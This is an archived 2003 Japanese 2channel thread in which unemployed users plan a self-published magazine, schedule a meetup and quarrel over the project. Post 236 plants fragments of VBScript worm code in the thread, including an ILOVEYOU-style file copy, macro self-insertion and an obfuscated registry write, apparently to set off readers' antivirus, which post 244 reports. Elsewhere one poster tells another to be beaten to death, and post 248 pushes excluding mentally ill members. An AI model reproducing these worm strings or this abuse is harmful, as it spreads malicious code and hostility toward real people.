[過去ﾛｸﾞ] 無職専門の雑誌を作ろう！ (981ﾚｽ)
上下前次1-新
このｽﾚｯﾄﾞは過去ﾛｸﾞ倉庫に格納されています｡
次ｽﾚ検索 歴削→次ｽﾚ 栞削→次ｽﾚ 過去ﾛｸﾞﾒﾆｭｰ
156: あぼーん [あぼーん] あぼーん AAS
あぼーん
157: 03/11/05 23:44 ID:frTpq7SF(2/2)調 AAS
水面下なんてないよ、
みたまんま。
逆に都合が悪いかな？
158: だめ猫 ◆Wdo4uUpp7Q 03/11/06 00:12 ID:S5uMK7S9(1/10)調 AA×
159: だめ猫 ◆Wdo4uUpp7Q 03/11/06 00:22 ID:S5uMK7S9(2/10)調 AAS
>155
今の状況で、企画云々の話を進めるのは性急過ぎると思います。全部をリセットする
必要はありませんが、参加者を改めて把握する必要があります。全参加者を把握して
いたのはルーザードックさんだけですし、この不安定な状況でやる気を無くした方もいる
かもしれませんので。
それと、とりあえず、このスレを編集部のようにして有効に使おうということでしたので、
その路線に従います。決めるのは、最終的には参加者の皆さんです。
160: だめ猫 ◆Wdo4uUpp7Q 03/11/06 00:28 ID:S5uMK7S9(3/10)調 AAS
>>154
11月の最後の週で、オフ会を設定して良いでしょうか？それ以降だと、遅すぎると
思いますので。参加できるでしょうか？
僕の個人的な予定は8日までにオフ会の日程が決まるなら、いつでもOKです。それ
までに決まらないと土日はバイトが入るのでダメです。平日なら何時でも大丈夫という
わけでもないですが、11月２４～２８日あたりの設定になるでしょうか？皆さんの都合は
いかがでしょうか？
161(2): ナス豚 ◆wF.16HeCFk 03/11/06 00:32 ID:h22jhKB3(1)調 AAS
自分は月・木ならだいたい大丈夫です、それ以外はシフトの関係で休みが取れたりとれなかったりします。
162(2): KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/06 00:33 ID:5Go7Uz44(1/7)調 AAS
すんまへんなあ 俺もルーサドックさんから協力を要請されたうちの一人なんですが、
パソコンが壊れまして返事がまったくできませんでした
まあ、壊れてなくても、ネタもノウハウもないので、どうしようもないですが
163(1): だめ猫 ◆Wdo4uUpp7Q 03/11/06 00:34 ID:S5uMK7S9(4/10)調 AAS
今日はもう寝ますが、毎日は無理でも3日に1度は書き込みをするつもりです。
僕は職歴もありませんし、一人の力では何もできません。皆さんのアドバイス、
意見をお待ちしています。満足いく雑誌を完成させ、配布しましょう！
damenekotarou@hotmail.com
164: だめ猫 ◆Wdo4uUpp7Q 03/11/06 00:37 ID:S5uMK7S9(5/10)調 AAS
あっ、書き込みが。でも、スイマセン。落ちます。
>161
日程調整は明日にでも。申し訳ない。
>162
もし、継続して参加されるようでしたら、メール下さい。
165: KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/06 00:37 ID:5Go7Uz44(2/7)調 AAS
やはり何か一分野を極めんと何も語れませんわ
メンヘル・海外旅行・風俗・仕事・・・・などなどそれはなんでもいい
166(1): 亀吉 03/11/06 00:39 ID:irmpU5Rl(1)調 AAS
多分、大丈夫です。
あっ、大阪の人、噂の。
なにわ通信なんてよいかも
167: KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/06 00:42 ID:5Go7Uz44(3/7)調 AAS
>>163
メアドはE-mail欄にも入れといたほうがいいですよ ま、変なメールが
わんさか来る可能性もありますがまっとうなメールもきちんときますので
それにしても、ルーサドックさんの挙動・言動には時々奇妙なものを感じる
メンヘルにかかっているのかな？ 別にいいけど
168: NHK-ZEROZSI ◆ZEROZSI99U 03/11/06 00:42 ID:qzQxV/9r(1/12)調 AAS
damenekotarou@hotmail.com
無料は容量が２M
169: NHK-ZEROZSI ◆ZEROZSI99U 03/11/06 00:43 ID:qzQxV/9r(2/12)調 AAS
70 名前：だめ猫 ◆Wdo4uUpp7Q 投稿日：03/11/05 15:02 ID:/DRGU1M8
>>23、>>39、>>63にとりあえずの情報を載せておきました。
荒らしが消えたら、また書き込みます。削除以来とか、どう
いうふうにすればいいだっけ？
>>70
私は荒らしじゃない、荒らしなんかしてない、
迷惑かけちゃいない、いない
私は荒らしじゃないんだよ!!！！！
170: NHK-ZEROZSI ◆ZEROZSI99U 03/11/06 00:46 ID:qzQxV/9r(3/12)調 AAS
>>131
ｳｻﾞｲ消えろ
>>132
同上
>>133
オマエ亀岡だろ、自作自演だろ
>>134
そのAAはﾜﾗﾀ
>>135
はあ？ナニが酷いって？
>>136
オマエも有職だろ？
無職を笑ってんだろ
私もなにかやりたいです、やらせてください
171: NHK-ZEROZSI ◆ZEROZSI99U 03/11/06 00:47 ID:qzQxV/9r(4/12)調 AAS
やりたいです
・貧乏レシピ 1P 未定
やりたいです
・貧乏レシピ 1P 未定
やりたいです
・貧乏レシピ 1P 未定
やりたいです
・貧乏レシピ 1P 未定
172: NHK-ZEROZSI ◆ZEROZSI99U 03/11/06 00:49 ID:qzQxV/9r(5/12)調 AAS
勝手に荒らし扱いした責任取れ！！！！！！！！！
私の心に傷ついた
私は荒らしじゃない、荒らしなんかしてない、
迷惑かけちゃいない、いない
私は荒らしじゃないんだよ!!！！！
173: あぼーん [あぼーん] あぼーん AAS
あぼーん
174: あぼーん [あぼーん] あぼーん AAS
あぼーん
175: あぼーん [あぼーん] あぼーん AAS
あぼーん
176: あぼーん [あぼーん] あぼーん AAS
あぼーん
177: あぼーん [あぼーん] あぼーん AAS
あぼーん
178: あぼーん [あぼーん] あぼーん AAS
あぼーん
179: あぼーん [あぼーん] あぼーん AAS
あぼーん
180: あぼーん [あぼーん] あぼーん AAS
あぼーん
181: あぼーん [あぼーん] あぼーん AAS
あぼーん
182: あぼーん [あぼーん] あぼーん AAS
あぼーん
183: あぼーん [あぼーん] あぼーん AAS
あぼーん
184: あぼーん [あぼーん] あぼーん AAS
あぼーん
185(1): KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/06 00:57 ID:5Go7Uz44(4/7)調 AAS
１分で１発言か
186: NHK-ZEROZSI ◆ZEROZSI99U 03/11/06 01:00 ID:qzQxV/9r(6/12)調 AAS
70 名前：だめ猫 ◆Wdo4uUpp7Q 投稿日：03/11/05 15:02 ID:/DRGU1M8
>>23、>>39、>>63にとりあえずの情報を載せておきました。
荒らしが消えたら、また書き込みます。削除以来とか、どう
いうふうにすればいいだっけ？
↑
はっきし言ってその言い方凄い気に食わないから私。
あなた無職じゃないでしょ？そして「だめ」人間でも
ないでしょ、ただ単純に無職を馬鹿にしてるんでしょ。
そうとしか考えられない。それに、もし無職だめだとし
てもこんなレスは絶対しないね、あなたは有職でしょ。
または身分気軽な学生、そのどちらかでしょ、馬鹿に
すんなよ、無料ﾒｰﾙの容量制限は２Mまで。ざけんな
よ！ 私は参加したかっただけ。北海道だけど、北海道
だけど！、オフ会には出られないけど参加したかった。
それだけなのに荒らし呼ばわり、荒らし呼ばわり
馬鹿にすんなよ！オマエ。、手前等！
187: あぼーん [あぼーん] あぼーん AAS
あぼーん
188: NHK-ZEROZSI ◆ZEROZSI99U 03/11/06 01:03 ID:qzQxV/9r(7/12)調 AAS
>>185
ｳｻﾞｲ雑魚ｷｬﾗｸﾀｰ。
とっととオマエは護身用に特殊警棒
買って暴漢に奪取されて撲殺されちまえ。
目障り。雑魚キャラは。入ってくんな
189: あぼーん [あぼーん] あぼーん AAS
あぼーん
190: あぼーん [あぼーん] あぼーん AAS
あぼーん
191: あぼーん [あぼーん] あぼーん AAS
あぼーん
192: NHK-ZEROZSI ◆ZEROZSI99U 03/11/06 01:10 ID:qzQxV/9r(8/12)調 AAS
>>9
ビッグイシュー しってるよそれ。
テレビでやってた、ホームレスの人がやってる奴ね。
一昨日やってたのを見た。 イシューはお金取るからね、
これもお金取るのかな、そんな話しすら煮詰まってないの
かね、はっきり言って同人でやるとか、そんなのは無職
を馬鹿にしてるとしか思えない、無職を馬鹿にしてるよ
絶対に。その状況をわからない奴等ばかりだろ御前等は。
身分気軽な学生なんかもってのほかだ、奴等学生は
死んじまえ、自分の頭のハエ追ってろって感じだ。
無職・だめ人間じゃない幸せそうにしてる似非の奴等が、
本当の無職だめ人間を卑下する出版物なんて創って
もらいたくないね。
193: あぼーん [あぼーん] あぼーん AAS
あぼーん
194: あぼーん [あぼーん] あぼーん AAS
あぼーん
195: あぼーん [あぼーん] あぼーん AAS
あぼーん
196: あぼーん [あぼーん] あぼーん AAS
あぼーん
197: あぼーん [あぼーん] あぼーん AAS
あぼーん
198: あぼーん [あぼーん] あぼーん AAS
あぼーん
199: あぼーん [あぼーん] あぼーん AAS
あぼーん
200(1): （ ´Ｖ｀） ◆DAIOUgdZ5c 03/11/06 01:15 ID:Tq0skjuP(1)調 AAS
おいおい。
いい企画なんだから邪魔すんなよ
恩恵にあずかれるかも知れないんだぞ？
201: NHK-ZEROZSI ◆ZEROZSI99U 03/11/06 01:16 ID:qzQxV/9r(9/12)調 AAS
もう２００だよ、ざけんな！
無職を馬鹿にしやがって！
だめな人間を卑下したいんだろ？
ざけんな、ざけんな！
あぁ、私はそうだよ。
そのとおりの人間だよ。
だからこそ分かる。
ざけんなよ。
202: NHK-ZEROZSI ◆ZEROZSI99U 03/11/06 01:17 ID:qzQxV/9r(10/12)調 AAS
>>200
うッサイ、なんだ？御前もか？
無職を
だめな人を
卑下したいのか？
だとしたらふざけんなよ。
203: NHK-ZEROZSI ◆ZEROZSI99U 03/11/06 01:18 ID:qzQxV/9r(11/12)調 AAS
無職を馬鹿にしやがって！
だめな人間を卑下したいんだろ？
ざけんな、ざけんな！
あぁ、私はそうだよ。
そのとおりの人間だよ。
だからこそ分かる。
ざけんなよ。
204: NHK-ZEROZSI ◆ZEROZSI99U 03/11/06 01:25 ID:qzQxV/9r(12/12)調 AAS
あぁ、それとなんだ？ 御前等東京だから偉いのか？
ざけんなよ、テメエ。
東京こそ彼方此方の田舎者の寄席集まりだろが。
で、何だ？オフして無い人間はこの企画に参加できねえ
ってか？ザけんな。
てかそのまえになんでオフか問たいね。おおよそ
有職野郎の暇な休日潰しって所か？
んな話したいのなら、電話でもいいし、ネットでもできる。
ボイスチャットもあれば、そこで映像公開もできる。
個室を作って関係者だけでの話もできる。
態々金使ってオフか？ああん？無職・だめ人間なら
そんな金使わないでやるだろうに、それ以前にそんな
感覚でやってたらこれからさき思いやられるんじゃないのか。
ざけんなよ、まじで。
205: あぼーん [あぼーん] あぼーん AAS
あぼーん
206: あぼーん [あぼーん] あぼーん AAS
あぼーん
207: あぼーん [あぼーん] あぼーん AAS
あぼーん
208: あぼーん [あぼーん] あぼーん AAS
あぼーん
209: あぼーん [あぼーん] あぼーん AAS
あぼーん
210: 03/11/06 08:55 ID:fK+EEUdt(1)調 AAS
ばかにしてるよって言ってほしいんだろうか
すごい被害妄想
誰もあんたのことなんか気にしてないよ
211: Bartholomew（しゃくれ） 03/11/06 09:03 ID:mQE7dxQU(1)調 AAS
しゃくれ保守
212: KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/06 10:14 ID:5Go7Uz44(5/7)調 AAS
普通に削除するんじゃなくて、あぼーん無しの透明削除というものもある
らしい
213(3): 03/11/06 10:22 ID:Glhyjwem(1)調 AAS
東京主体でこんなことやってなにか意味があるのか？
東京のフリーターと
地方の無職はまったく別の問題なのに。
そもそもこの板にきている人間はすべての東京のメディアの被害者とも言える。
だまされたと思っている奴も多いだろう。
214: KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/06 11:23 ID:5Go7Uz44(6/7)調 AAS
>>213
こうやってだめ無職人間同士が集まって語れるのは「だめ人間」という概念を
普及させただめ連のおかげだろう ここの企画もひょっとしたら何を生むかも
知れない
215(1): ヒョウジ ◆eLW7JAQZdE 03/11/06 12:20 ID:LW2KgT2y(1)調 AAS
>>213
>東京のフリーターと
>地方の無職はまったく別の問題なのに。
そもそも無職とフリーターも違うよね。
単発でもたまにバイトしてればフリーターか？
フルタイム勤務でボーナスも出るアルバイトはフリーターか？
会社を辞めて留学するためにバイトをしているのはフリーターか？
フリーターではあるけどだめじゃない、無職だけどだめじゃないとか。
人それぞれだろうよ。
216: むは１ 03/11/06 13:23 ID:JUpnAnzu(1)調 AAS
NHKへ、仕事紹介してやるよ
2chｽﾚ:4649
217(2): ◆STOP162DWM 03/11/06 15:43 ID:tZaUKRH7(1)調 AAS
NHKは規制されますた。。。(`･ω･´)
2chｽﾚ:sec2ch
218(1): だめ猫 ◆Wdo4uUpp7Q 03/11/06 16:41 ID:S5uMK7S9(6/10)調 AAS
>>215
内閣府発行の国民生活白書によるフリーターの定義は、厚労省の定義（十五歳から三十四歳
までの若年人口の中で学生と主婦を除くパート・アルバイトなどの就労者とパート・アルバイトを
希望する無職の者）に「正規職員を希望する無職の者」や「派遣社員」を新たに加えたものだそう
です。
フリーターは、バブル期にリクルートのフロム・エーにおいて「何らかの目標を実現するため、
あるいは組織に縛られない生き方を望んで、あえて正社員ではなくアルバイトを選ぶ若者」
というような意味合いで作られた造語です。ネガティブな無職の若者をキーワードを作ること
によって、ポジティブに読み替えていこうとするマスメディアの戦略ですね。これは、意外と
知られている話ではないでしょうか？
ただ、バブルがはじけ、就職氷河期に入ると、求人数の減少、雇用形態の変化など社会の
側の問題に目を向けずに、自己中心的な、成熟できない若者という感じでフリーターという言
葉が使われるようになりました。それに責任を感じて、リクルートが90年代末頃からフリーター
問題にシンポジウムなどを開いて取り組んでいたと記憶しています。ちなみに、フリーターの
半分以上が将来正社員になることを望んでいます。
無職は、そのまま。定職に就いていないことですね。
フリーターと無職は重なり合う部分が多いと思います。定義、呼び名などは時代によって変わる
ものですし、僕らの雑誌で厳密に区別する必要はないと思います。
219(1): 03/11/06 16:41 ID:W6jtZ9L3(1)調 AAS
>>NHK
規制解除の為に早くここに来てくれ、ここは規制されてても書けるから
mopera規制
2chｽﾚ:accuse
220: 03/11/06 16:42 ID:WKBzEi2L(1)調 AAS
若者よ、目を覚ませ、耳を澄ませ。
大人のウソにだまされてはならない
言葉はウソだらけ、現実だけが真実だ
君たちの給与はかすめ取られようとしている
今こそ抵抗する時なのだ
奴隷と言う言葉は使いたくない
囚人とも言いたくはない
では君たちは何者なのだ？
こんな国にしたのは誰だ
税収１５年分の借金をつくったのは誰だ
２０年も前から予測できた年金の危機を放置してきたのは誰だ
国中をコンクリートで固めたのは誰だ
年金や保険でつくった施設を投げ売りしているのは誰だ
それは自民党だ、それは役人だ
彼らに責任を取らせるのだ
中身の無い改革など改革の名に値しない
拉致被害者家族が帰って来る方法を示せない幹事長
言葉だけが踊り飛び交っているだけだ
自民党を追放しなければ何も変わらない
政治は人気投票ではない
さあ、選挙に行って自分の意思を明らかにするのだ
自分たちの権利を主張せよ！
221(1): KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/06 16:45 ID:5Go7Uz44(7/7)調 AAS
>>217
俺が規制依頼出しといた 早速取り上げられるとは最近の２ちゃんねる
運営はなかなかやるじゃないか
222: だめ猫 ◆Wdo4uUpp7Q 03/11/06 16:52 ID:S5uMK7S9(7/10)調 AAS
>>213
東京都と地方で異なる問題はあると思いますが、全く別の問題ではないですよ。
逆に東京都、地方は違うものとして繋がりを切ってしまう事の方が非生産的に感じ
ます。現時点で、たまたま関東圏の人の方が多いということだけですので、213さん
も213さんが住んでいる地方で雑誌を作ればいいんじゃないでしょうか？で、お互い
協力しましょうよ。
無職が数人集まって全国を見据えてやれと言われるのは酷な話です。自分達で
できる範囲でしっかりやるしかないでしょう。
ただ、KDS＠大阪さんのように参加表明されている方とは是非一緒に作っていきたい
と思いますが、知識も経験もないので中々良い方法が思い浮かびません。もう少しレス
が付けば、KDS＠大阪さんの意見も生かせるのですが、どうしてもオフ会中心になって
しまいますね。申し訳ないです。
223: だめ猫 ◆Wdo4uUpp7Q 03/11/06 16:54 ID:S5uMK7S9(8/10)調 AAS
>>217
ホッとしました。気を取り直して、進めていきましょう。
>>221
乙でした。ありがとうございます。
224: 03/11/06 17:33 ID:ME+wAYv5(1)調 AAS
俺もmopara使ってるけど、このアク禁は納得。
NHKは早く謝罪してくれ。
>>219
そこ違う。
おい、moperaの規制解除しろや
2chｽﾚ:sec2chd
225(4): ヒョウジ ◆eLW7JAQZdE 03/11/06 20:19 ID:JzIDxodv(1)調 AAS
>>162 KDS
>協力を要請されたうちの一人なんですが、
つーかホントかよ！？しかも要請？
あんたの言う「コミュニケーションスキル上達講座」に
しつこく勧誘されるのが
な ぜ か 女 性 の み ！？
でなければいくらか信用できるのにね。
ここは女は私しかいないらしいのでそんな情報も提供しつつ。。
226: （ ´Ｖ｀） ◆DAIOUgdZ5c 03/11/06 20:26 ID:o9724tj/(1)調 AAS
コミュニケーションスキル上達講座
ってなに？
別に聞いてもいいよな…？
227: だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/06 21:43 ID:S5uMK7S9(9/10)調 AAS
>>161
ナス豚さん、月・木だったら2週間後とかでも構いませんか？11月中には
オフ会を開きたいなと思いますので。
とりあえず
第１候補 １１月２４日（月）←祝日
第２候補 １１月２７日（木）
第３候補 １１月２０日（木）
にして、場所は新宿、時間帯は有職者の人が参加しやすい時間帯という
感じでよろしいでしょうか？今のところ、だめ猫、ナス豚さん、亀吉さんの
日程しか配慮してませんので、皆さんのご都合をお聞かせください。上記
の候補以外の日程になっても構いませんが、お早めに。
228(1): だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/06 21:50 ID:S5uMK7S9(10/10)調 AAS
>>166
というか、ゴメンなさい。亀吉さんって、オフ会参加経験者の方ですか？
多分、初登場ですよね？もし、宜しければメールを下さい。
このスレッドが立ってからまだ一日だし、書き込みにくい雰囲気でした
ので、反応はこれからですよねぇ、多分。ルーザードックさんはどうした
のでしょうか、ホントに。
229: ナス豚 ◆wF.16HeCFk 03/11/06 22:43 ID:P081J3MP(1)調 AAS
ご配慮いただきありがとうございます。
その日程なら自分としてはありがたいのですが、あくまでみなさんのご都合を有線させてください。
230(2): ヒョウジ ◆eLW7JAQZdE 03/11/06 23:46 ID:0X5kBd9F(1/2)調 AAS
27・20日いずれも夜なら行けると思います。
ルーザードックさんがお休みの今となっては12月入稿は無理ですね。
万が一この話が流れたら最後には知人がいるｻﾌﾞｶﾙ版元に投げてみますんで。
231: ヒョウジ ◆eLW7JAQZdE 03/11/06 23:48 ID:0X5kBd9F(2/2)調 AAS
sage進行の方がよさげですな
232(1): 亀吉 03/11/07 03:12 ID:Qqmclr8I(1)調 AAS
私だよ、わ・た・し
おふかい参加して居ったよ。
今夜から盛岡行ってきます。
日程は上記でよいです。
233(1): KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/07 09:19 ID:6ZeaC694(1)調 AAS
>>225
それだけ人材が枯渇しているということなんでしょうな
ただ、何度も言っていますが、俺にはネタもノウハウも何もないので
傍観者になる可能性が高いです
234: 03/11/07 14:12 ID:cqWtMWc/(1)調 AAS
それで、コ（ry って何？
ﾆﾔﾆﾔ
235: 03/11/07 14:44 ID:inMCk9UC(1)調 AAS
外部ﾘﾝｸ:www.rak2.jp
気晴らしにどぞ。
236(1): 03/11/07 23:56 ID:tx8eXSFv(1)調 AAS
302 名前：235 投稿日：03/11/07 23:35 ID:FvlvPoOa
さっそく取り上げていただきありがとうございます
これで安心してスレを利用できます
できれば３～４年ほど規制を解除しないでください（笑）（笑）
外部ﾘﾝｸ:wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
以上、ケン・コロスでした！
外部ﾘﾝｸ:news2.2ch.net|test|read.cgi|newsplus%40195.126.71.77/%63%72%61%73%68%6D%65
外部ﾘﾝｸ[cgi]:jbbs.shitaraba.com
237: KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/08 06:36 ID:rASyoBwP(1/4)調 AAS
NHKのおかげでmoperaユーザーは面倒なことになっているようですね
【助けて!】mopera【規制解除】
2chｽﾚ:sec2chd
>>236
悪い悪い ３～４年はいいすぎた ２～３年でいい
238: KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/08 07:16 ID:rASyoBwP(2/4)調 AAS
>>225
追加レス
何に信用の基準を置くかは人それぞれでしょう
前スレで参加表明していた人はかなりの数に上るが１発言のみというパタ
ーンが多い ルーサドックさんからすればそういう人は信用できなかった
ということではないですか
>>228
俺もいきなりＰＣが壊れてアクセスできなくなりましたし、まあ何かの事情が
あるんじゃないですか
239(1): KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/08 11:57 ID:rASyoBwP(3/4)調 AAS
企画についてはここのスレを一個一個取り上げていけばいいんじゃないですかね
ざっとみると。。。。３０代の無職・４０代の無職・職安・資格・映画・トヨタ
期間工・株（財テク）・派遣・共産主義・妹がほしい・彼女がほしい・だめ女性・
・・・などなどがある まあ、こんな話はすでにオフでやっているかな
前スレの最後にも書きましたが、だめ連の「だめ連宣言」（Ⅰ仕事と人生 Ⅱ性
と恋愛 Ⅲ結婚？家族？ Ⅳこころ問題 Ⅴ交流とアクティヴィズム）を越える
本を作ってほしいですね
240(1): KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/08 12:03 ID:rASyoBwP(4/4)調 AAS
追加 風俗・犯罪経験・政治・沖縄・旅行・・・・・等々
241(2): 03/11/08 14:34 ID:0J3PTTRO(1/3)調 AAS
雑誌を作る企画とはいえオフ会の話題は板違い。
下手するとスレッドごと消されるぞ。
告知はここでいいけど、その先の話は定期オフ会板でやれよ。
242(1): 03/11/08 14:37 ID:0J3PTTRO(2/3)調 AAS
貼り忘れてた・・・
定期OFF＠2ch掲示板
2ch板:offreg
243(1): 03/11/08 14:45 ID:0J3PTTRO(3/3)調 AAS
>>241で言ってる告知とはオフ会の告知のことな。その先の話はオフ会の話のこと。
雑誌の構想＆企画について話し合うこととオフ会を開く告知のみはここで大丈夫。
とりあえず↓なってるから。
全掲示板＆案内
外部ﾘﾝｸ[html]:www.2ch.net
＞２ｃｈＯＦＦ会
＞オフ会をやりたかったらここへどうぞ。他の板では削除対象です。
244: 03/11/09 00:16 ID:uX6WmCU4(1)調 AAS
かちゅでこのスレのログを取得すると、以下のウィルスが検知されます。
外部ﾘﾝｸ[cgi]:www.symantec.com
該当発言がどれだかわかりませんが、ウィルスを自動的に検知して削除
するソフトを導入されてない方はご注意ください。
245(1): だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/09 11:13 ID:fmsr9wfp(1/2)調 AAS
>>230
>万が一この話が流れたら最後には知人がいるｻﾌﾞｶﾙ版元に投げてみますんで。
唐突な発言ですね。そういうつもりでしたら、ヒョウジさん自身がスレッドを立てた
方が良かったのではないでしょうか？
>>225
ルーザードックさんは兎も角、僕は誰にも要請するつもりはないですよ。参加者自身
のやる気が重要だと思うので。だから、ノウハウがなくてもやる気があれば大歓迎です。
まずは本人のやる気と、この雑誌の基本路線>>149を理解していただくのが重要だと
思います。
>>239-240
>>151-153の書き込みを参考にして下さい。
>>241-243
一応、雑誌の構想と企画についてをメインにしているスレッドのつもりですが・・・。
オフ会の調整も確かにしてますけど。できるだけオフ会の調整は控えます。
わざわざオフ会用のスレを立てる必要もないと思いますでの、調整はこのHPを
使いましょうか？
外部ﾘﾝｸ:www.syanbi.com
246: だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/09 11:18 ID:fmsr9wfp(2/2)調 AAS
上記スレ訂正
>>225ではなく、>>233ですね。KDS＠大阪さんへのレスです。
247(3): ぱる 03/11/09 13:41 ID:a31FzvHq(1)調 AAS
>>230
本業が多忙で、しばらく沈黙しておりました。すみません。
えーと・・・・
軽くおっしゃってますが、「知人がいるｻﾌﾞｶﾙ版元に投げる」って、
企画が流れたならパクらせてもらいますよ、ってことすか。
話が流れても、知り合いに投げてもこの企画を生かしたい、
とまで思っておられるのなら、なぜ、ご自分で引き受ける、と
おっしゃらないのですか？
どうも、ヒョウジさんって人は信用できませんね。
248(2): 03/11/09 13:57 ID:I51pppcM(1)調 AAS
前から気になっていたんだが、
「リストカッターを取り上げよう」と言い出した奴を企画から排除しろ。
できれば当人自ら手を引くのが一番いい。
そうしないとつぶれるぞ。
自分の不安定さを他人の前で口に出したり、
知り合いにメンヘルが何人もいる奴は組織にどでかいマイナスを及ぼし
内部分裂を引き起こす。
メンバーの中に常に不安と怒りで悶々としてるのがいると他に伝染するんだよ。
心あたりある奴は自ら手を引いた方がいいって。
これ煽りでもなんでもないからな。
雑誌製作がんばってな。
249(7): ヒョウジ ◆eLW7JAQZdE 03/11/09 21:35 ID:ZMNM6SdU(1)調 AAS
ルーザードックさんはROMってる潜在的参加者または一言スレしか残さない
消極的な製作者を「一緒にやってみませんか」と呼びかけて
この企画をだめ脱出のボランティアとして考えていたようだと解釈しています。
だけど彼がいなくなった（？）今、実質的に進行を進めているのはだめ猫さんですよね？
ルーザードックさんはスキルのない人たちに教える時間も能力もあったようですが、
だめ猫さんはどうなんでしょう？前任者の意図をそのまま受け継ぐ意思はあるのでしょうか？
それとも自分は自分のやり方で一から建て直しますか？就職したらどうするんですか？
ちなみにリスカとブラック企業の企画については私から問題提議をしましたが
それについては何のご意見もいただけませんでした。
それがやりたいこととできることの間に大きな隔たりがある証拠だと感じました。
企画は誰でも考えることができますが、実現可能でないと意味がありません。
9月下旬くらいに、だめ猫さんにお渡しした企画書というものがあるのですが、
それをすべて実現させるならある程度の組織力と人材がある企業でないと難しいかと。
それがパクルことになるのかはわかりませんが、このまま形にできないのは勿体無いので、
形にすることを優先するならば持ち込みした方がいいのでは？ということです。
盗まれたと思うか託したと思うかはみなさんのご自由ですし
会ったこともない人間を信用するのは無理な話ですからそれはしょうがないですけど。
250: だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/10 00:32 ID:keXIeT/A(1/6)調 AAS
>>249
えーと････
>>245
>唐突な発言ですね。そういうつもりでしたら、ヒョウジさん自身がスレッドを立てた
>方が良かったのではないでしょうか？
この書き込みは、幹事なのでソフトな書き込みにしましたは、>>247のぱるさんの
書き込みとほぼ同意見のモノとお考え下さい。
ルーザードックさん云々というより、>>148-153を見ていただければわかるように前
スレで決まった基本路線をほぼ踏襲しています。亀吉さんやナス豚さんのように過去
のオフ会参加者も改めて参加表明されているわけで、僕の一存で変えるようなことは
するつもりがありません。ただ、雑誌の形態など変えざるを得ないところも出ることは
事実です。
それに個人的な意見、スタンスで考えれば、ルーザードックさん以上に僕とヒョウジ
さんの考え方は離れていると前スレのやり取りで思っていましたけど。
251(2): だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/10 00:33 ID:keXIeT/A(2/6)調 AAS
>>249
>この企画をだめ脱出のボランティアとして考えていたようだと解釈しています。
これは解釈が違うと思います。経験者が未経験者をフォローするという考えが
ルーザードックさんの考えの中で強かったとは思います。それには賛同できま
すし、経験の有無に関わらず同じ仲間だと考えていたんだと思います。
それに、この企画は始めからだめ脱出を目的にしたものでもないです。また、
【無職、有職者に関わらず】ボランティアで参加する企画であって、有職者だけ
が無職のためにわざわざボランティアするような企画ではないです。
ヒョウジさんが、無職・未経験の人間を軽んじて見ているから、このような誤読
をするのではないでしょうか？
（参考までに）
前スレの662においてのルーザードックさんの書き込み
>紙面に関しては全面的に何かを押し付けたり、誰かや
>特定のカテゴリーに入る人を排除したりするつもりもありません
前スレの857においての僕の書き込み
>参加者の枠組み
>無職、有職者はあんまり関係ない感じ。経験には敬意を払いますが、
>価値観を押し付けれる人がいたら、僕はこの企画から降ります。
ちなみに、確認のために書いておきますが無職、有職者で参加の区別を
設けるつもりはありません。また、有職者・経験者＞未経験・無職でもありま
せん。お互いの意見を尊重しながら、全体の意見を調整する。お互いにできる
ことを助け合う。それだけです。もちろん、全ての意見・人間を取り込めるほど
万能でありません。ただ、そもそも、それすらするつもりがない人はお断りです。
252(4): だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/10 00:34 ID:keXIeT/A(3/6)調 AAS
>>249
>ちなみにリスカとブラック企業の企画については私から問題提議をしましたが
>それについては何のご意見もいただけませんでした。
>それがやりたいこととできることの間に大きな隔たりがある証拠だと感じました。
ブラック企業に関して言えば、実現可能です。答えなかったので、前スレが埋まった
だけのことです。リスカもインタビューの受け手を見つければいいだけです。また、
syanbiさんのHP上の意見でしたのでスルーしました。それに「ひきこもり」や「無職の
成功者」に話を聞くよりも現実的な企画だと思うのですが。仮に、ダメならダメでストックの
企画を使えばいいだけです。この辺は、前スレから呼びかけてますし、進行途中のもの
ですので、できないだろうと勝手に判断されても、どうぞ勝手にという感じですが。
>9月下旬くらいに、だめ猫さんにお渡しした企画書というものがあるのですが、
>それをすべて実現させるならある程度の組織力と人材がある企業でないと難しいかと。
( ﾟДﾟ)ﾎﾟｶｰﾝ
確かに具体的ではない段階（素案）の企画書を読ませてもらいました。また、ヒョウジさんの
了承のもと、オフ会の参加者にも読んでもらいました。実際に、貧乏レシピや大器晩成物語
など重なる企画もあります（といっても、ありふれた企画内容ですが）。ただ、コンセプトが無職
脱出を目指すもので、視点がカウンセラーのような感じがしました。僕は、そのコンセプトで企画
